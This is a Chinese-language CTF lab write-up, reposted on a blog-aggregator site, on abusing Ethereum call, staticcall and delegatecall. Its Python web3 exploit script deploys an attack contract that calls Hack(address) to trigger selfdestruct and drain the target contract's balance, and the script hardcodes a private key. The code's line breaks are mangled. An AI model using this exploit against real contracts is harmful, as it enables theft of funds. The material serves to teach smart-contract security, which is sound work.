某60區塊鏈安全之Call函數簇濫用實戰二學習記錄

區塊鏈安全

文章目錄

  • 區塊鏈安全
  • Call函數簇濫用實戰二
    • 實驗目的
    • 實驗環境
    • 實驗原理
    • 實驗內容
    • 實驗步驟
      • EXP利用


Call函數簇濫用實戰二

實驗目的

學會使用python3的web3模塊
學會并區分以太坊call、staticcall、delegatecall三種函數調用的特點
找到合約漏洞進行分析并形成利用

實驗環境

Ubuntu18.04操作機
實驗工具
python3

實驗原理

call調用,最常用的調用方式,調用后內置變量msg的值會修改為調用者,執行環境為被調用者的運行環境
delegatecall調用,調用后內置變量msg的值不會修改為調用者,但執行環境為調用者的運行環境
staticcall調用,調用之后不能改變合約狀態,否則交易會回滾

實驗內容

合約中使用到了call、delegatecall、staticcall函數調用,找到合約漏洞并形成利用,把合約余額清空即可
使用python3的web3模塊遠程利用漏洞并獲取flag
實驗地址為nc ip 10006

實驗步驟

獲取合約地址和合約源代碼
nc ip 10006連接到題目,輸入1,獲取部署合約的game account及token
在這里插入圖片描述

打開http://ip,輸入上述分配的game account,點擊Request獲取eth

在這里插入圖片描述
在這里插入圖片描述

nc ip 10006連接到題目,輸入2,獲取部署合約的地址及new token

在這里插入圖片描述

nc ip 10006連接到題目,輸入4,獲取合約源代碼,或者在題目附件找到合約源代碼
在這里插入圖片描述

分析合約源代碼漏洞
題目要求清空合約余額
在這里插入圖片描述

先分析程序主要邏輯:首先拿calldata,staticcall自己,保證交易正常進行不會revert回滾;其次拿calldata,call自己,這個時候自己調用自己,會執行delegatecall邏輯;題目要求清空合約余額,可以借助delegatecall直接destruct合約
所以設計一個攻擊合約,只需要滿足staticcall的時候不改變合約狀態,delegatecall的時候執行selfdestruct即可,由于是0.6.12版本,可借助try catch實現。

EXP利用

用python編寫自動化exp,功能包括部署攻擊合約得到攻擊合約地址,將其作為題目合約的hack函數參數進行調用即可

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0xE7f096F94e7BCa204A673319510FB051E526a70E"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.6.12')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:Solver']txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)time.sleep(5)data = Web3.keccak(text='Hack(address)').hex()[:10]
data += hack_address[2:].rjust(64, '0')  # Hack(address)
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
print(sign_and_send(txn))

執行exp

在這里插入圖片描述

nc ip 10006連接到題目,輸入3,輸入之前的new token,獲取flag

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/162040.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/162040.shtml
英文地址,請注明出處:http://en.pswp.cn/news/162040.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于git hooks

Git hooks 是一種在 Git 倉庫中觸發自定義腳本的機制。這些腳本可以在特定的 Git 操作&#xff08;如提交、推送、合并等&#xff09;發生時執行。通過使用 Git hooks&#xff0c;你可以在版本控制的不同階段自動運行腳本&#xff0c;以執行一些定制化的操作。 在 Git 中&…

03梯度下降

目錄 lambda基礎知識 代碼 核心算法&#xff1a; lambda基礎知識 lambda 是 Python 中的一個關鍵字&#xff0c;用于創建匿名函數。匿名函數是一種沒有具體名稱的小型、臨時的函數&#xff0c;通常用于一次性的、簡單的操作。lambda 函數的語法如下&#xff1a;python Copy c…

高效運維工具,助力運維服務商為企業用戶提供IT遠程維保服務

一、背景介紹 隨著科技的迅速發展和信息化建設的不斷推進&#xff0c;IT運維在中小企業中的地位逐漸提升。IT運維是指通過技術手段和工具&#xff0c;對企業的IT基礎設施進行監控、管理和維護&#xff0c;以確保企業信息系統的穩定運行和業務的持續發展。 然而&#xff0c;對于…

計算3個點的6種分布在平面上的占比

假設平面的尺寸是6*6&#xff0c;用11的方式構造2&#xff0c;在用21的方式構造3 2 2 2 1 2 2 2 2 2 1 2 2 2 2 2 1 2 2 3 3 3 x 3 3 2 2 2 1 2 2 2 2 2 1 2 2 在平面上有一個點x&#xff0c;11的操作吧平面分成了3部分2a1&#xff0c;2a…

海康Visionmaster-模塊索引:MFC 模塊索引異常解決 辦法

現象&#xff1a;文件編碼格式為 UTF-8 不帶簽名編碼格式&#xff0c;模塊索引會出現 模塊無法找到異常 更改文件類型為 UTF-8 帶簽名格式或 vs 默認 GBK2312 編碼格式

JMeter處理接口簽名sign

寫接口腳本的時候&#xff0c;很多接口涉及到簽名&#xff0c;今天介紹下用JMeter編寫簽名腳本的方法。 舉個例子&#xff0c;開啟紅包接口&#xff0c;請求方式為post POST /v1/api/red/open json請求參數 { "red_id":1, "timestamp":"1667033841…

2023年中國邊緣計算網關現狀及發展趨勢分析[圖]

邊緣計算網關是一種可以在設備上運行本地計算、消息通信、數據緩存等功能的工業智能網關&#xff0c;可以在無需聯網的情況下實現設備的本地聯動以及數據處理分析。邊緣計算網關是一種連接物聯網設備和云端服務的關鍵技術&#xff0c;它可以在設備和云端之間建立一個安全、高效…

實例講解Simulink的MATLAB Function模塊

內容 MATLAB Function是一個支持使用M語言編寫模塊功能,并能夠將所編寫的M語言生成C代碼&#xff0c;用于開發桌面應用和嵌入式應用的模塊。它支持的 MATLAB內建函數比 Fcn模塊要廣泛&#xff0c;除去基本的四則運算、邏輯操作符和關系操作符&#xff0c;還可以調用MATLAB各種…

代碼隨想錄算法訓練營第四十三天【動態規劃part05】 | 1049. 最后一塊石頭的重量 II、494. 目標和、474.一和零

1049. 最后一塊石頭的重量 II 題目鏈接&#xff1a; 力扣&#xff08;LeetCode&#xff09;官網 - 全球極客摯愛的技術成長平臺 求解思路&#xff1a; 等于把石頭盡量分成重量相同的兩堆 動規五部曲 確定dp數組及其下標含義&#xff1a;容量為j的背包&#xff0c;最多能裝…

logstash安裝和使用

官網&#xff1a;https://www.elastic.co/cn/logstash/ 1.上傳Linux安裝包 2.解壓安裝包且重命名 [rootVM-4-10-centos logstash]# tar -zxvf logstash-8.11.1-linux-x86_64.tar.gz -C ../software/[rootVM-4-10-centos logstash]# mv logstash-8.11.1/ logstash3.啟動測試 …

國產遙感影像處理軟件 GSRS,真是很方便

兼容國內外絕大多數衛星遙感影像格式&#xff1b;高效的影像查看&#xff0c;比如漫游、放大、縮小、查看影像像素灰度值、影像地理坐標、影像投影坐標系等等&#xff1b;人機交互影像裁剪&#xff0c;任何繪制裁剪區域&#xff0c;輸出裁剪影像&#xff1b;具備影像基本處理功…

基于Haclon的Blob分析

任務要求&#xff1a; 請用BLOB分析的方法計算圖中所有灰度值在120和255之間的像素構成的8連通區域的面積與中心點坐標。 Blob基礎&#xff1a; 分析過程&#xff1a;首先獲取圖像&#xff0c;然后根據特征對原始圖像進行閾值分割&#xff08;區分背景像素和前景像素&#xf…

洛谷 P4552 [Poetize6] IncDec Sequence

挺好的一道思維題。 分析 因為是對區間修改&#xff0c;多次修改肯定會超時&#xff0c;很容易想到差分。 那么原題的對區間修改就可以轉換為下面三個操作&#xff08;均在差分數組中&#xff09;&#xff1a; 1. 任選一個數1 2. 任選一個數-1 3. 任選兩個數1和-1 進一步考…

貪心算法及相關例題

目錄 什么是貪心算法&#xff1f; leetcode455題.分發餅干 leetcode376題.擺動序列 leetcode55題.跳躍游戲I leetcode45題.跳躍游戲II leetcode621題.任務調度器 leetcode435題.無重疊空間 leetcode135題.分發糖果 什么是貪心算法&#xff1f; 貪心算法更多的是一種思…

《QT從基礎到進階·三十七》QWidget實現左側導航欄效果

NavigationBarPlugin插件類實現了對左側導航欄的管理&#xff0c;我們可以在導航欄插件中添加界面&#xff0c;并用鼠標點擊導航欄能夠切換對應的界面。 源碼在文章末尾 實現效果如下&#xff1a; NavigationBarPlugin實現的接口如下&#xff1a; class NAVIGATIONBAR_EXP…

【brpc學習實踐六】backup request場景案例

應用場景 有時為了保證可用性,需要同時訪問兩路服務,哪個先返回就取哪個。在brpc中,這有多種做法,根據server是否掛在同一個命名服務內有所區別。 當后端server可以掛在一個命名服務內時 Channel開啟backup request。這個Channel會先向其中一個server發送請求,如果在Ch…

C#,數值計算——插值和外推,多項式插值與外推插值(Poly_interp)的計算方法與源程序

1 文本格式 using System; namespace Legalsoft.Truffer { /// <summary> /// 多項式插值與外推插值 /// Polynomial Interpolation and /// Extrapolation interpolation routines for one dimension /// </summary> public class Poly…

【ES6.0】- Promise對象

【ES6.0】- Promise對象 文章目錄 【ES6.0】- Promise對象一、概述二、Promise狀態三、Promise方法3.1 Promise.prototype.then方法&#xff1a;鏈式操作3.2 Promise.prototype.catch方法&#xff1a;捕捉錯誤3.3 Promise.race方法&#xff1a;捕捉錯誤3.4 Promise.any()3.5 Pr…

第三節-Android10.0 Binder通信原理(三)-ServiceManager篇

1、概述 在Android中&#xff0c;系統提供的服務被包裝成一個個系統級service&#xff0c;這些service往往會在設備啟動之時添加進Android系統&#xff0c;當某個應用想要調用系統某個服務的功能時&#xff0c;往往是向系統發出請求&#xff0c;調用該服務的外部接口。在上一節…

廣告機/商業顯示屏_基于MT878安卓主板方案

安卓主板在廣告機領域扮演著重要的角色。無論是在商場、車站、酒店、電梯、機場還是高鐵站&#xff0c;LED廣告機廣泛應用&#xff0c;并通過不同方式進行播放和管理。 廣告機/商業顯示屏_基于MT878安卓主板方案 基于MT8788安卓主板方案的廣告機采用了聯發科MT8788八核芯片方案…